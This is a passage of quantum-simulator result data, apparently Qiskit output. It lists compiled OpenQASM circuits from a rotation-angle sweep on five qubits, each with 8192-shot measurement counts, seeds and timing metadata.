q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1197', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1361662496, 'status': 'DONE', 'data': {'counts': {'0x3': 1507, '0x1': 545, '0x0': 3528, '0x2': 2612}}, 'success': True, 'shots': 8192, 'time_taken': 0.436024534, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.600000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1199', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3920703577, 'status': 'DONE', 'data': {'counts': {'0x3': 1668, '0x1': 427, '0x0': 3608, '0x2': 2489}}, 'success': True, 'shots': 8192, 'time_taken': 0.442828435, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.700000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1201', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2435306904, 'status': 'DONE', 'data': {'counts': {'0x3': 1764, '0x1': 350, '0x0': 3685, '0x2': 2393}}, 'success': True, 'shots': 8192, 'time_taken': 0.44064115800000003, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.800000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1203', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 831633740, 'status': 'DONE', 'data': {'counts': {'0x3': 1752, '0x1': 300, '0x0': 3737, '0x2': 2403}}, 'success': True, 'shots': 8192, 'time_taken': 0.44727511900000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.900000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1205', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1911639607, 'status': 'DONE', 'data': {'counts': {'0x3': 1800, '0x1': 204, '0x0': 3900, '0x2': 2288}}, 'success': True, 'shots': 8192, 'time_taken': 0.44405775900000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1207', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1879004873, 'status': 'DONE', 'data': {'counts': {'0x3': 1886, '0x1': 160, '0x0': 3919, '0x2': 2227}}, 'success': True, 'shots': 8192, 'time_taken': 0.444701292, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1209', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3076776623, 'status': 'DONE', 'data': {'counts': {'0x3': 1939, '0x1': 107, '0x0': 4010, '0x2': 2136}}, 'success': True, 'shots': 8192, 'time_taken': 0.44111895500000003, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1211', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3962893113, 'status': 'DONE', 'data': {'counts': {'0x3': 2017, '0x1': 77, '0x0': 3970, '0x2': 2128}}, 'success': True, 'shots': 8192, 'time_taken': 0.45868514800000004, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1213', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1693848810, 'status': 'DONE', 'data': {'counts': {'0x3': 2042, '0x1': 39, '0x0': 4031, '0x2': 2080}}, 'success': True, 'shots': 8192, 'time_taken': 0.446125382, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1215', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1131597819, 'status': 'DONE', 'data': {'counts': {'0x3': 2080, '0x1': 21, '0x0': 3939, '0x2': 2152}}, 'success': True, 'shots': 8192, 'time_taken': 0.476231061, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1217', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3642846410, 'status': 'DONE', 'data': {'counts': {'0x3': 2029, '0x1': 2, '0x0': 4101, '0x2': 2060}}, 'success': True, 'shots': 8192, 'time_taken': 0.47532831700000006, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1219', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 193472778, 'status': 'DONE', 'data': {'counts': {'0x3': 2047, '0x1': 3, '0x0': 4120, '0x2': 2022}}, 'success': True, 'shots': 8192, 'time_taken': 0.44776315000000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1221', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2783917915, 'status': 'DONE', 'data': {'counts': {'0x3': 2027, '0x1': 6, '0x0': 4040, '0x2': 2119}}, 'success': True, 'shots': 8192, 'time_taken': 0.44223071100000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier 